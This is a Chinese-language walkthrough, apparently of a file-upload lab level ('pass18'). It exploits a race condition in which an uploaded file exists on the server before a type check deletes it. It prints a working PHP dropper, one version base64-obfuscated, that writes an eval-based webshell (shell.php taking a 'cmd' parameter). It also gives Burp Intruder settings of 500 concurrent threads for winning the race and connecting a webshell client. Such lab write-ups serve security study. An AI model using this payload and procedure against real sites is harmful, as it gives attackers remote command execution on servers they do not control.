條件競爭
從代碼中可以看出他是先移動到服務器后在判斷,不是.jpg|.png|.gif類型在刪除
我們可以利用中間的時間訪問我們上傳的.php的payload,使我們成功getshell
構造要上傳的payload:重要的事情說三遍,檢查代碼!檢查代碼!檢查代碼!
往往一個小失誤從而構造了失敗的payload
這里用了base64加密
<?php
fputs(fopen((base64_decode('c2hlbGwucGhw')),'w'),base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg=='));
或者
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["cmd"])?>');
上傳構造好的payload的pass18.php的文件
然后用burp抓包發到Intruder模塊,清除Clear§,設置Payloads選項中的Payload type為Null payloads,再修改Options的並發數Number of threads為500
這里我們訪問我們上傳pass18.php路徑,用burp抓包發送到Intruder跟上面一樣
(手工方法如果你絕的你好運的就去吧,我反正是臉黑,加上沒手速)
可以從上傳pass18.php的包如果是200狀態說明訪問到了,有時后訪問到了但是並沒有執行到我們pass18.php的代碼就被刪了,(建議再加多個發送payload的Intruder模塊請求)
過多一會我們的shell.php成功儲存到了服務器
然后在瀏覽器訪問我們的payload 連接菜刀
競爭條件原理介紹
網站邏輯:
1、網站允許上傳任意文件,然后檢查上傳文件是否包含webshell,如果包含刪除該文件。
2、網站允許上傳任意文件,但是如果不是指定類型,那么使用unlink刪除文件。
在刪除之前訪問上傳的php文件,從而執行上傳文件中的php代碼。
下面有圖